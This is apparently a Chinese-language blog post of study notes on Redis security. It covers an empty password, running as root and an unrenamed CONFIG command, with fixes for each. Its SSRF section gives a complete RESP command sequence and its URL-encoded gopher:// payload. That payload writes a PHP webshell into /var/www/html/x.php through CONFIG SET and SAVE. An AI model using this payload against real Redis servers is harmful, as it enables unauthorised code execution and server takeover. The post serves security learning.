美文网首页
Redis安全相关

Redis安全相关

作者: JYQC66 | 来源:发表于2021-01-13 18:24 被阅读0次

这几天在做一个SSRF的漏洞练习,看到例子是拿Redis做演示,就顺手整理了一下Redis的安全内容。

Redis服务存在空口令

Redis配置文件中requirepass配置项(requirepass password)为访问口令,该配置项默认被注释即为空口令,攻击者无需暴力破解可直接连接到Redis。

修复方法:

将Redis的配置文件中requirepass配置项取消注释(#)

Redis服务以root权限运行

顾名思义,Redis不得以root权限运行,需要再创建一个非root用户。目的就是防止当前用户权限过大,以免做了不该做的操作。

Redis服务存在config命令配置未被修改

若未修改/root/redis/redis.config中默认的rename-command CONFIG设置项,攻击者可使用CONFIG命令对Redis的数据库文件位置进行修改和变更。通过在数据库中插入攻击者的ssh公钥信息,并执行bgsave命令可以将带有公钥信息的数据库文件写入被攻击者使用CONFIG命令指定的磁盘位置。CONFIG命令未做修改的情况下,攻击者可以很方便的完成这一攻击过程并最终获取操作系统权限。

修复方法:

将Redis配置文件中rename-command

CONFIG配置项更改为其他内容。

Redis SSRF漏洞

SSRF,服务器端请求伪装,利用可以发起网络请求的外部服务当做跳板来攻击内部其他服务。

在Redis的SSRF漏洞中,常用协议有Dict和Gopher。

Dict是字典服务器协议,一次只能执行一条语句,一些保留字符需要转义,只支持内联指令。

Gopher是分布型的文件搜集获取网络协议,可一次执行多条语句,\r\n及一些保留字符需要进行二次url编码,支持内联指令和RESP协议。

Dict常用格式为dict://IP:Port/命令:参数

Gopher常用格式为gopher://IP:Port/_TCP/IP数据

看到有的文章说下划线_可以替换为其他任意字符,我试的结果是不可以,识别不出来……

Gopher回车换行需要使用%0d%0a,如果是多个参数,多个参数之间的&也需要进行url编码,比如构造命令如下:

{"flushall"},

{"set","x","\r\n<?php echo system(\"ls /var/www/html/\");?>\r\n"},

{"get","x"},

{"config","set","dir","/var/www/html/"},

{"config","get","dir"},

{"config","set","dbfilename","x.php"},

{"config","get","dbfilename"},

{"save"},

{"quit"},

首先构造payload:

*1

$8

flushall

*3

$3

set

$1

x

$45

*2

$3

get

$1

x

*4

$6

config

$3

set

$3

dir

$14

/var/www/html/

*3

$6

config

$3

get

$3

dir

*4

$6

config

$3

set

$10

dbfilename

$5

x.php

*3

$6

config

$3

get

$10

dbfilename

*1

$4

save

quit

*1 代表数组的长度,以上表示只有一个,flushall

$8 代表字符串长度,数字可以大于等于实际的字符串长度。

将回车换行用%0d%0a替换,将?和/、空格等进行url编码替代,转成如下payload:

*1%0D%0A%248%0D%0Aflushall%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0Ax%0D%0A%2445%0D%0A%0D%0A<%3Fphp%20echo%20system("ls%20%2Fvar%2Fwww%2Fhtml%2F");%3F>%0D%0A%0D%0A*2%0D%0A%243%0D%0Aget%0D%0A%241%0D%0Ax%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A%2Fvar%2Fwww%2Fhtml%2F%0D%0A*3%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aget%0D%0A%243%0D%0Adir%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%245%0D%0Ax.php%0D%0A*3%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aget%0D%0A%2410%0D%0Adbfilename%0D%0A*1%0D%0A%244%0D%0Asave%0D%0Aquit

相关文章

网友评论

      本文标题:Redis安全相关

      本文链接:https://www.haomeiwen.com/subject/phlpaktx.html